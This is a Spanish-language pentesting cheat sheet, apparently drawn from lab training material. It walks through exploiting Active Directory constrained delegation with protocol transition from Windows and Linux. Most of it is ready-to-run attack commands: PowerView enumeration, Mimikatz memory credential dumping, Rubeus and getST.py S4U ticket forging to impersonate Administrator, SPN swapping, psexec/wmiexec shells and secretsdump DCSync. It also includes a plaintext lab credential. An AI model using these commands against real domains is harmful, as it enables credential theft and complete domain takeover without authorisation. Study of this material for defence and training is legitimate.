Skip to content

Constrained Delegation - Windows

Ataque que explota cuentas configuradas con Constrained Delegation (TRUSTED_TO_AUTH_FOR_DELEGATION). A diferencia de unconstrained delegation, solo permite impersonar usuarios hacia una lista específica de servicios, pero si tiene habilitado protocol transition, permite impersonar a cualquier usuario (incluyendo Administrator) sin necesidad de que ese usuario se haya autenticado previamente.

Links: Rubeus | Mimikatz | PowerView | SPNs en Windows - Microsoft


Explicación simple

Imagina que un servidor web necesita acceder a una base de datos en nombre del usuario que se conectó. El administrador configura constrained delegation para que ese servidor web pueda impersonar al usuario, pero solo para acceder a la base de datos, no a cualquier servicio del dominio.

El problema aparece cuando esa cuenta tiene habilitado "Use any authentication protocol" (protocol transition). Esto le permite al servicio crear un ticket de servicio para cualquier usuario que elija, sin que ese usuario haya hecho nada. Si un atacante compromete esa cuenta, puede impersonar al Administrator y acceder a todos los servicios en la lista de delegación permitida.

Además, hay otro truco: el nombre del servicio (SPN) dentro del ticket no está cifrado, así que puede modificarse. Si la delegación está permitida hacia SQL/SERVIDOR, el atacante puede cambiar ese SPN a CIFS/SERVIDOR para acceder a los archivos del mismo servidor, porque es la misma cuenta de máquina exponiendo múltiples servicios.


Enumerar cuentas con Constrained Delegation

Computadoras

powershell
Import-Module .\PowerView.ps1
Get-DomainComputer -TrustedToAuth

#En caso de que no nos deje ejecutar algun script en powershell: 
Set-ExecutionPolicy Bypass -Scope Process

Buscar en el output el atributo msds-allowedtodelegateto para ver a qué servicios puede delegar, y useraccountcontrol para verificar si tiene TRUSTED_TO_AUTH_FOR_DELEGATION (con protocol transition).

Usuarios

powershell
Get-DomainUser -TrustedToAuth

Obtener el hash NTLM de la cuenta comprometida

Se necesita el hash de la cuenta con constrained delegation (en este caso una cuenta de máquina como DMZ01$). Usando Mimikatz:

cmd
mimikatz.exe
privilege::debug
sekurlsa::msv
exit

Buscar en el output el NTLM de la cuenta de máquina correspondiente.


Ejecutar el ataque con Rubeus (S4U2Self + S4U2Proxy)

Con el hash NTLM de la cuenta con constrained delegation, Rubeus ejecuta automáticamente toda la cadena:

  1. Pide un TGT para la cuenta comprometida (DMZ01$)
  2. Usa S4U2Self para obtener un TGS como el usuario a impersonar (ej: Administrator)
  3. Usa S4U2Proxy para pedir el TGS final hacia el servicio objetivo
  4. Inyecta el ticket en memoria con /ptt
powershell
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:<SPN_permitido> /altservice:<servicio_alternativo> /user:<cuenta_con_delegation>$ /rc4:<NTHASH> /ptt

Ejemplo del lab

DMZ01$ tiene delegation hacia www/WS01.inlanefreight.local. Se modifica el SPN usando /altservice:HTTP para acceder vía WinRM:

powershell
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:www/WS01.inlanefreight.local /altservice:HTTP /user:DMZ01$ /rc4:<NTHASH_DMZ01$> /ptt

Verificar el ticket inyectado

cmd
klist

Debe mostrar Client: Administrator @ DOMAIN y Server: http/WS01.domain.local.


Usar el ticket para acceder al target

powershell
# WinRM / PSRemoting
Enter-PSSession ws01.inlanefreight.local

# Verificar identidad
whoami

Resumen del flujo

  • Identificar cuenta con TRUSTED_TO_AUTH_FOR_DELEGATION y su lista msDS-AllowedToDelegateTo
  • Obtener el hash NTLM de esa cuenta (Mimikatz sekurlsa::msv)
  • Ejecutar Rubeus s4u con /impersonateuser:Administrator y el SPN permitido
  • Opcionalmente modificar el servicio con /altservice para acceder a CIFS, HTTP, HOST, etc.
  • Verificar con klist que el ticket es de Administrator
  • Conectar al target con Enter-PSSession u otros métodos

Diferencia clave con Unconstrained Delegation

  • Unconstrained: necesita que un usuario real se conecte (pasivo) o usar el Printer Bug (activo). Captura el TGT completo.
  • Constrained con protocol transition: no necesita esperar a nadie. Puede crear un ticket de cualquier usuario arbitrariamente usando S4U2Self, sin que ese usuario haya hecho nada.

Constrained Delegation - Linux

Versión del ataque Constrained Delegation usando herramientas de Impacket desde Linux. Más directa que desde Windows ya que no requiere Mimikatz para obtener el hash — si se tienen las credenciales en texto claro, getST.py hace todo automáticamente.

Links: findDelegation.py | getST.py | psexec.py - Impacket | Impacket


Explicación simple

Desde Linux el flujo es más sencillo: en vez de necesitar el hash NTLM de la cuenta (como en Windows con Mimikatz), basta con tener las credenciales en texto claro de la cuenta con constrained delegation. getST.py hace todo en un solo comando: pide el TGT, ejecuta S4U2Self para impersonar al usuario elegido, y ejecuta S4U2Proxy para obtener el TGS final. El ticket se guarda en un archivo .ccache que luego se usa con otras herramientas de Impacket.

Adicionalmente, herramientas como psexec.py tienen la capacidad de modificar el SPN del ticket en vuelo (AnySPN), lo que significa que aunque el ticket sea para TERMSRV, psexec lo puede reutilizar cambiándolo a CIFS automáticamente para obtener una shell interactiva.


Prerequisito - Resolución DNS

bash
echo '<IP_DC> dc01.domain.local domain.local' | sudo tee -a /etc/hosts

Enumerar cuentas con delegación

findDelegation.py lista todos los tipos de delegación presentes en el dominio de forma clara.

bash
findDelegation.py DOMAIN.LOCAL/<user>:<password>

Interpretar el output

  • Unconstrained — Delegación sin restricciones (la más peligrosa)
  • Constrained — Delegación constrained sin protocol transition (solo puede delegar si el usuario se autenticó vía Kerberos)
  • Constrained w/ Protocol Transition — Delegación constrained con protocol transition (puede impersonar a cualquier usuario arbitrariamente con S4U2Self)

Obtener el TGS como usuario arbitrario (getST.py)

Con las credenciales de la cuenta que tiene Constrained w/ Protocol Transition, se puede impersonar a cualquier usuario hacia los SPNs permitidos en su lista de delegación.

bash
getST.py -spn <SPN_permitido> 'DOMAIN.LOCAL/<usuario_con_delegation>:<password>' -impersonate <usuario_a_impersonar>

Ejemplo del lab

beth.richards tiene delegation hacia TERMSRV/DC01.INLANEFREIGHT.LOCAL:

bash
getST.py -spn TERMSRV/DC01 'INLANEFREIGHT.LOCAL/beth.richards:B3thR!ch@rd$' -impersonate Administrator

El ticket se guarda como Administrator.ccache en el directorio actual.

Con hash NTLM en vez de contraseña

bash
getST.py -spn <SPN> 'DOMAIN.LOCAL/<usuario>' -hashes :<NTHASH> -impersonate Administrator

Usar el ticket para acceder al target

bash
# Exportar el ticket
export KRB5CCNAME=./Administrator.ccache

# Shell interactiva con psexec (modifica el SPN en vuelo automáticamente)
psexec.py -k -no-pass DOMAIN.LOCAL/administrator@<hostname_o_IP>

# Con debug para ver el proceso de AnySPN
psexec.py -k -no-pass DOMAIN.LOCAL/administrator@DC01 -debug

Entender el AnySPN (modificación del SPN en vuelo)

psexec.py necesita un ticket para CIFS/<host>, pero el ticket que tenemos es para TERMSRV/<host>. La herramienta detecta esto automáticamente:

[+] SPN CIFS/DC01@DOMAIN.LOCAL not found in cache
[+] Returning cached credential for TERMSRV/DC01@DOMAIN.LOCAL
[+] Changing sname from TERMSRV/DC01@DOMAIN.LOCAL to CIFS/DC01@DOMAIN.LOCAL and hoping for the best

Esto funciona porque el SPN no está cifrado en el ticket, así que puede modificarse sin invalidarlo. El servidor lo acepta porque la cuenta de máquina destino expone múltiples servicios con la misma clave.

Variantes de psexec según el entorno

Si la primera forma no funciona, probar en este orden:

bash
# Forma básica (con hostname)
psexec.py -k -no-pass DOMAIN.LOCAL/administrator@DC01

# Con debug para ver el proceso de AnySPN
psexec.py -k -no-pass DOMAIN.LOCAL/administrator@DC01 -debug

# Especificando el DC explícitamente
psexec.py -k -no-pass -dc-ip <IP_DC> DOMAIN.LOCAL/administrator@DC01

# Con FQDN completo en el target
psexec.py -k -no-pass -dc-ip <IP_DC> DOMAIN.LOCAL/administrator@DC01.DOMAIN.LOCAL

# Especificando también el target-ip (útil si el DNS no resuelve bien)
psexec.py -k -no-pass -dc-ip <IP_DC> -target-ip <IP_DC> DOMAIN.LOCAL/administrator@DC01

Nota: Si hay problemas de resolución DNS, -dc-ip apunta al DC para Kerberos y -target-ip es la IP física del host al que conectas. En labs donde el FQDN no resuelve, la combinación de ambos suele ser la que funciona.

Otras herramientas que aceptan el ccache

bash
# WinRM / PSRemoting equivalente
evil-winrm -i <IP_DC> -r DOMAIN.LOCAL

# DCSync con el ticket
secretsdump.py -k -no-pass DOMAIN.LOCAL/administrator@DC01
secretsdump.py -k -no-pass -dc-ip <IP_DC> -target-ip <IP_DC> DOMAIN.LOCAL/administrator@DC01

# Verificar acceso a shares
smbclient.py -k -no-pass DOMAIN.LOCAL/administrator@DC01

# Con wmiexec si psexec falla
wmiexec.py -k -no-pass DOMAIN.LOCAL/administrator@DC01
wmiexec.py -k -no-pass -dc-ip <IP_DC> -target-ip <IP_DC> DOMAIN.LOCAL/administrator@DC01

Resumen del flujo

  • Enumerar con findDelegation.py para identificar cuentas Constrained w/ Protocol Transition
  • Verificar a qué SPNs puede delegar la cuenta (DelegationRightsTo)
  • Usar getST.py -impersonate Administrator con las credenciales de esa cuenta
  • Exportar el .ccache en KRB5CCNAME
  • Usar psexec.py -k -no-pass para obtener shell (el AnySPN hace el cambio de SPN automáticamente)
  • Limpiar con unset KRB5CCNAME al terminar

Casos prácticos / Troubleshooting

Error: CCache file is not found

[-] CCache file is not found. Skipping...

No es un error real, es solo una advertencia informando que no existe un ccache previo. El comando continúa normalmente y crea el archivo.

El SPN del ticket no coincide con el que necesita psexec

psexec.py lo maneja automáticamente con AnySPN. Si usas otra herramienta que no tenga ese comportamiento, puedes solicitar el ticket directamente con el SPN correcto:

bash
# Pedir TGS para CIFS directamente
getST.py -spn CIFS/DC01 'DOMAIN.LOCAL/<usuario>:<password>' -impersonate Administrator

Verificar qué tickets tienes en el ccache

bash
klist -c Administrator.ccache